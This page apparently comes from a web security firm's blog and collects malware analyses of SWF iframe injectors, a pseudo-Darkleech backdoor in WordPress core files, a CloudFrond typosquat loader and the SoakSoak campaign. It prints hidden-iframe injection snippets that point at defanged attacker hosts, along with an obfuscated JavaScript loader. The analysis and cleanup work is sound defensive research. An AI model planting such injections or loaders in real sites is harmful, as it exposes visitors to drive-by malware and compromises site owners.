Website Malware – The SWF iFrame Injector Evolves

Last year, we released a post about a malware injector found in an Adobe Flash (.swf) file. In that post, we showed how a SWF file is used to inject an invisible, malicious iFrame.

It appears that the author of that Flash malware continued with this method of infection. Now we are seeing more varieties infecting both WordPress and Joomla websites. Though it’s uncertain how many iterations existed in the wild when we first reported the issue, this time we’ve found a lot of websites where the infection looks similar:
Identifying the Flash Infection

The similarities are easy to spot once you know what they are. The malicious .SWF file is always stored in /images/banners/ and the file name is three random characters followed by .SWF with an ID parameter appended:


So, how does the infection look this time around? Here is the Flash file decompiled:

Malicious SWF Infection

Malicious code has similarities to the infection reported in November

The Same Hacker at Work

Apparently, the malware author is the same. Variable names, coding logic, and useragent condition are all indicators of this. However, the source website delivering the malicious payload is different. Also, while there were mostly Joomla based websites affected previously, we’re also seeing WordPress sites with this infection.

Ben Martin, a member of our Remediation Team, found infected Flash objects matching our description that were injected inside a WordPress database:

SWF infected the WP database

Similar infected .SWF found in the WordPress database

The Impact Five Months Makes

This time, many more sites are being affected — several hundred, maybe more.

Another difference is that at the time of my original post on this infection, no AntiVirus company detected this threat. This time, about half of vendors are detecting the issue:

VirusTotal Results show 23/57 vendors detect the malware

VirusTotal: 23/57 vendors detect malicious content

Malware evolves every day, and I’m sure we’ll see more variations of this particular strain in the future. You can be sure that we will share our findings with you every time. In the interim, if you find yourself troubled with something similar be sure to look for professional help and get back to business.

Stay safe and keep your eyes open!

WordPress Malware Causes Psuedo-Darkleech Infection

Source: The National Archives (UK)

Source: The National Archives (UK)

Darkleech is a nasty malware infection that infects web servers at the root level. It use malicious Apache modules to insert hidden iframes with certain responses. It’s difficult to detect because the malware is only active when both the server and site admins are not logged in and the iframe is only injected once a day (or once a week in some versions) per IP address. This means that the infection symptoms are difficult to reproduce. Since it’s a server-level infection even the most thorough remote scans won’t reveal anything. Even when the culprit is identified, website owners may not be able to resolve the issue without help of a server administrator.

Despite the detection difficulties, it was quite easy to tell that the server was infected with Darkleech when we saw the malicious code — it has followed the same recognizable pattern since 2012:

  • Declaration of a CSS class with a random name and random negative absolute position.
  • A div of that class.
  • A malicious iframe with random dimensions inside that div.

This is what it looked like back in September of 2012:

<style>.tlqvepxi { position:absolute; left:-1648px; top:-1752px} </style> <div class="tlqvepxi">
<iframe src="hxxp://" width="581" height="476"></iframe></div>

This is the code from November of 2014

<style>.syxq9la69 { position:absolute; left:-1666px; top:-1634px} </style> <div class="syxq9la69">
<iframe src="hxxp://jsnrgo .ddns .net/nsiumkogckv1tv4locfzyv2eykqss9ltfb9wnmhfqz1ol2" width="285" height="554"></iframe></div>

Very similar, isn’t it?

At some point, Darkleech began to use free No-IP dynamic DNS hostnames (random third-level domains on,,,,, etc. ) and this became one of its distinguishing features too.

New version of Darkleech?

Recently, we began to notice the following code on some WordPress websites.

<style>.cznfvc1d54 { position:absolute; left:-1447px; top:-1785px} </style> <div class="cznfvc1d54">
<iframe src="hxxp:// dhbxnx .serveftp .com/blog/4c2H?utm_source=g86" width="593" height="405"></iframe></div>

That’s the same pattern, except for the trailing iframe URL part: /blog/4C2H?utm_source=g86.

It stayed the same on all the sites. The only varying part of the URL paths was the value of the utm_source parameter: utm_source=g86, utm_source=g112, utm_source=g90, utm_source=g98, etc.

Sometimes the malware was hard to reproduce, but on some sites it was reproducible on every load. What was even stranger is that we saw this on IIS servers (with PHP support) too. We had not heard of Darkleech infecting IIS web servers.

Malware in nav-menu.php

Then we had a chance to work with one of the infected websites and found the real source of these “Darkleech iframes”. The culprit was the infected wp-includes/nav-menu.php core WordPress file.

It had the following injected encrypted code in the middle of it:

Malware in nav-menu.php

Malware in nav-menu.php

In this decoded version, we see a backdoor section that allows execution of PHP code passed in the p1 and p2 POST parameters to any blog URL:

Backdoor section of the code

… and this section downloads code from a remote dazzer .slyip .com server and injects the downloaded code into web pages:

Downloading malware from dazzer .slyip .com

Downloading malware from dazzer .slyip .com

Two Layers of Tests

Here you can see that there are two layers of tests determining whether to inject malware or not.

The first layer is in this script. It’s some sort of pre-screening. It makes sure that the requests are not coming from search engine bots or from Google’s network. Also note the commented out line where they used to check for Internet Explorer browsers only — for some reason they removed this condition in the current version.

The second layer is on the remote server. They pass the following information about every request in the parameters of the URL: hxxp: / /dazzer .slyip .com/ordpm/v2/?export=7f53f8c6c730af6aeb52e66eb74d8507&url=nnnnn&g=ggg :

  • Domain of the infected site.
  • IP address of the visitor.
  • Browser of the visitor (user agent).
  • Referrer.

It’s clear that this information is used to determine request eligibility. The dazzer .slyip .com can track IP addresses and return the malicious code only once in a certain period of time to requests from the same IP. The IP address also helps with geo-targeting if the attackers are only interested in traffic from certain countries. The user agent string will tell them whether the visitor uses a vulnerable version of a browser that they can attack. The referrer helps them identify visitors who came to the site after clicking on links in search results or on social networks (website owners and webmasters are more likely to use bookmarks rather than search engines).

If all the requirements are met, the remote server returns a base64-encoded malware to be injected into web pages (since it is in the nav-menu.php it will be at the very top of the HTML code, before the tag). If the request is considered not eligible, then dazzer .slyip .com doesn’t return anything and malware is not being injected.

Verifying the Injected Payload

OK, this code is definitely malicious and its behavior is quite typical for PHP malware. But is it really responsible for those Darkleech iframes? Or maybe it’s some different malware and removing it won’t be enough to fix the Darkleech problem. To figure this out, I conducted a very simple test — used the malware code to prepare a complete dazzer .slyip .com URL with all the required parameters and made a request to it from a different server — the response came back with a base64-encoded string, which after decoding looked like this:

Pseudo-darkleech code from dazzer .slyip .com

Pseudo-darkleech code from dazzer .slyip .com

That’s exactly the code that we originally thought belonged to Darkleech. You might have noticed that the utm_source=g112 parameter in the iframe URL matches the g=112 parameter in the dazzer .slyip .com URL. This test proved that the real culprit was the malware inside one of the WordPress files, not a root level web server infection.

What we see here is malware that uses the same iframe code generation algorithm as we originally noticed in Darkleech: hidden style, div and an iframe inside the hidden div, with all the names and parameters changing on every load. The use of No-IP hostnames is also common with Darkleech. By the way, the dazzer .slyip .com domain also uses a Dynamic DNS service — this time if belongs to DtDNS (at the time of writing it points to – Germany, Hurth Plusserver Ag).


Unlike a real Darkleech infection, this one is pretty easy to deal with. The malware should be detectable by any security plugin (e.g. Sucuri Security plugin) that checks integrity of core WP files. The easiest way to remove the malware is to replace the infected file with the clean one from the original WordPress package. You can also reinstall WordPress or upgrade it if you are still using an old version.

Of course, this is only a part of the cleanup process. You will also need to find and remove all the backdoors that hackers might have placed on your server and identify the security hole that was used to break into your site in the first place. 

In case of this attack, you may find backdoors that I showed in the screenshot for the backdoor section above in some random files. They may be core WordPress files or third-party plugin files. Try searching for “passssword” (4 ‘s’ in passssword). We can also see that most compromised sites are using old vulnerable versions of the Slider Revolution (RevSlider) plugin. Update it ASAP, even if it’s a part of a theme! Update all other themes and plugins too.

We can see that once hackers break into a web site they infect the nav-menu.php files in all the sites that share the same hosting account (they don’t have to have the RevSlider plugin). Moreover, not only WordPress sites can be infected this way. We also see that the attackers inject the same code into the defines.php file of Joomla websites, e.g: includes/defines.phpadministrator/includes/defines.php

Once you remove malware and update software, make sure to change all passwords. You might also want to check if hackers created additional WordPress admin users as suggested in this post. I can’t confirm it always happens, but if a site uses old versions of a plugin that has been actively exploited for more than 6 months now, then the chances are it’s not the first time it has been hacked and it may be affected by multiple unrelated attacks.

For additional pro-active protection we recommend using a website firewall. If you’re currently infected, and need help, you can learn more about our Website Malware Removal Services.

Inverted WordPress Trojan

A trojan (or trojan horse) is software that does (or pretends to be doing) something useful but also contains a secret malicious payload that inconspicuously does something bad. In WordPress, typical trojans are plugins and themes (usually pirated) which may have backdoors, send out spam, or inject hidden links and malware. The trojan model is easy to understand: package malware inside something useful and have webmasters install it themselves.

This week I came across something that I can call an inverted trojan — malware (installed without webmaster consent) that added useful features to WordPress.

Read More

Why A Free Obfuscator Is Not Always Free.

We all love our code but some of us love it so much that we don’t want anyone else to read or understand it. When you think about it, that’s understandable – hours and hours of hard dev work, days of testing and weeks (months?, years?) of fixing bugs and after all of this, someone steals, changes or modifies your hard work.

To address these concerns, many developers will obfuscate their code.

Read More

Analyzing Malicious Redirects in the IP.Board CMS

Although the majority of our posts describe WordPress and Joomla attacks (no wonder, given their market-share), there are still attacks that target smaller CMS’s and we help clean all kinds of sites. This post will be about conditional redirects in IP.Board forums (currently #27 with 0.3% of the CMS market).

Conditional redirects

The symptoms of the problem were typical. Some (not all) visitors who clicked on Google search results were redirected to a malicious site filestore321 .com/download .php?id=hexnumber. The redirect worked only once per visitor and subsequent attempts to trigger it would fail.

Read More

Bogus Mobile-Shortcuts WordPress Plugin Injects SEO Spam

Here at Sucuri we see countless cases of SEO spam where a website is compromised in order to spread pharmaceutical advertisements or backlinks to sites selling luxury goods. Most of the time this involves injecting hundreds of spam links into the site’s database but in this case a deceptive, fake plugin called mobile-shortcuts was able to be a bit more discreet. Below I go over the process by which this SEO spam injection was uncovered and identified.

Site (SEO Spam) Unseen

Recently I came across a website displaying a (BlackHat) SEO spam warning – pretty typical in terms of what we see day to day:

Malicious Code Warning – via SiteCheck by Sucuri

Our first analysis of the site cleared quite a few backdoors and a few known hack tools but, even so, this SEO spam persisted.

Read More

Websites Compromised with CloudFrond Injection

If you haven’t already noticed, we spent a good deal of time scraping the bottom of the interweb barrel. It’s dirty work, but someone has to do it. I’m not going to lie though, to us it’s fascinating digging up little nuggets daily, understanding how attackers think and uncovering the latest trends. Besides, it gives us countless opportunities to share those with you.

What we find most fascinating are those instance in which we find suspicious payloads where we have to tried to connect the dots. They don’t necessarily do anything malicious at the time we check, but they have, for lack of a better word, great potential. Granted, great potential for the attacker and devastating impacts for the user.

A good example of this is the following payload:

<!-- [if IE]><script type="text/javascript" src="hxxp://"></script> <![endif]-->

Looks good, right? CloudFrond is a valid service, must be a false alarm..

Ah, wait, I’m confusing it with CloudFront, Amazon’s CDN web service. Of course, I know all you hardcore techies are laughing, thinking, “Of course we knew that” – I assure you though, end users and many webmasters will not be so quick to the gun. Think back to the case on Gogle APIs, which also took advantage of typo squatting.

I did a check to see if the domain would work, but there’s no webpage under either.

The Payload

Next, we take a peak at what the script is loading (edited to remove payload):

/*jskdljgdlkfjgdlkfg*/XJHNOs=print;rNjoDPv=String;RlH=rNjoDPv["fromCharCode"];crgLMK=parseInt;utO=function(a,b){return a.charAt(b);};var dOK='';var Glg='7d3d099208132cbb18d70636c524b94077a6e879d602dbfa0813ff71fd18bf53005c3a50932616ee71ad68bf114f9b6349e5431abc4509b7ad5e054778acbad4c34806e724b3eb7913224c745465249d8d6456f5b3442031ce9422be75f678e7b0c63fe25b3ad7a0c2935b2338079d55a1a972dafc0a1cfdf32f6151017843c3fba4e33a0c11517839376a3372772d557b98';var SUTbVRi='733b2ab628364cd076b5755fae4e9c281aca9319b45db58b6f82dc199e6ee17a0f5a1c75b80939d20ca5669f3270bb486d842273e07923d4cf2c696c16c7deb3bd0c63d1088dcc54312264487d5e49e07b207a5873a87d2b8f5cd181ca03294f089b6e230f52da53be966b2f297a330a4bb6afb3b15c954b76332b488da0a20766b9a9e0a23c1cbc7c856413a6be76669b1dbcd66acdb32aaa0d8f2bceafc65166dc84b91c8c652e79485c7575a56cd97c2cb91fa8b56e483f2c23dedf0aaf54cb5784902e6d68a16357823008e3300fd1b6d1b5c4b20d075309a66d667eb9a90e38d81448204db97e8d070a7d1c3012562e4b261ddb6729873cc415c4a90e431eabaf152c50b5';var w=0x0+0;for(var i=0;i<(Glg.length/2);i++){dOK+=RlH(crgLMK(utO(Glg,w)+utO(Glg,w+1),0x8+8)^crgLMK(utO(SUTbVRi,w)+utO(SUTbVRi,w+1),0x0F+1));w+=2;}XJHNOs(dOK,96);

It is a custom encoded script which loads differently every time you access, also known as a conditional payload. In fact, if you access it using Internet Explorer it just changes the variables, but if you use any other browser or user-agent, everything changes and the output is broken, like this:

Sucuri - CloudFrond Jumpled Payload

Using the right browser we were able to decode it, its definitely suspicious, but no harmful payload was delivered at the time. Here’s the traffic it generated:

Sucuri - CloudFrond Payload Delivered

It loaded a Google page on a 1×1 pixel iframe and then loaded the next function of itself. However this function is returning a 404 Not found message. Probably the payload is not available or they had it disabled.

We see two main functions inside the code:

1 – iFrame Creation

Sucuri - CloudFrond Payload iFrame Creation

2 – The main payload, which also uses the same encoding to hide the URL which will be used in the iframe.

Sucuri - CloudFrond Main Payload

Understanding Intentions

I would venture to say that there are two different things at play here:

1 – The CloudFrond campaign is just getting started, attackers are simply setting their injections in place. This would explain why the injection is pulling empty payloads. This is also a good way to avoid detection, kill the payload until you have your network of infected sites ready to go.

2 – The attackers are in fact trying to confuse webmasters by abusing our trust in trusted sources, i.e., Amazon’s CloudFront. If there is one thing we have learned in the years of doing this work, half the webmaster don’t really know what code and service their website ingests, that’s on the developer, they’re simply responsible for maintaining it. This is where the breakdown begins, and the vulnerability that attackers look to exploit.

At the moment, the CloudFrond domain is not being blacklisted by anyone, most likely because it’s not technically distributing true malware. But, it’s definitely a perfect example of how we can’t be depending on exact injections, but rather leverage a concept known as Indicators of Compromise (IoC). This is why we leverage IoC in our research and it’s the foundation from which some of our tools, like SiteCheck – Free Website Scanner, are built on.

We will keep monitoring to see if the CloudFrond script changes its behavior.

SoakSoak: Payload Analysis – Evolution of Compromised Sites – IE 11

Thousands of WordPress sites have been hit by the SoakSoak attack lately. At this moment we know quite a lot about it; it uses the RevSlider vulnerability as a point of penetration, then uploads a backdoor and infects all websites that share the same server account. This means websites that don’t use the RevSlider plugin can be infected too. The visitor-facing part of the infection consists of these two files:

  • wp-includes/js/swfobject.js — hackers append it with an encrypted code that loads a malicious script from hxxp://soaksoak . ru/xteas/code (thus SoakSoak).
  • wp-includes/template-loader.php — in this file, hackers add code that makes WordPress load the infected swobject.js on every page.

However, it’s not always SoakSoak and not always just two files. On some sites we see a variation of this malware.

Read More

SoakSoak Malware Compromises 100,000+ WordPress Websites

This Sunday has started with a bang. Google has blacklisted over 11,000 domains with this latest malware campaign from

Google Blacklisting -

Google Blacklisting –

Our analysis is showing impacts in the order of 100’s of thousands of WordPress specific websites. We cannot confirm the exact vector, but preliminary analysis is showing correlation with the Revslider vulnerability we reported a few months back.

Read More

Website Malware Removal: Phishing

As we continue on our Malware Removal series we turn our attention to the increasing threat of Phishing infections.

Just like a fisherman casts and reels with his fishing rod, a “phisher-man” will try their luck baiting users with fake pages, often in the form of login pages. These copied website pages are cast into infected websites with the hope that some users will bite, and get reeled into giving away their secret data. Wielding the web development and scripting knowledge necessary to make forms that look convincingly realistic, hackers lure unsuspecting users into entering their credentials on the imitated page.

Read More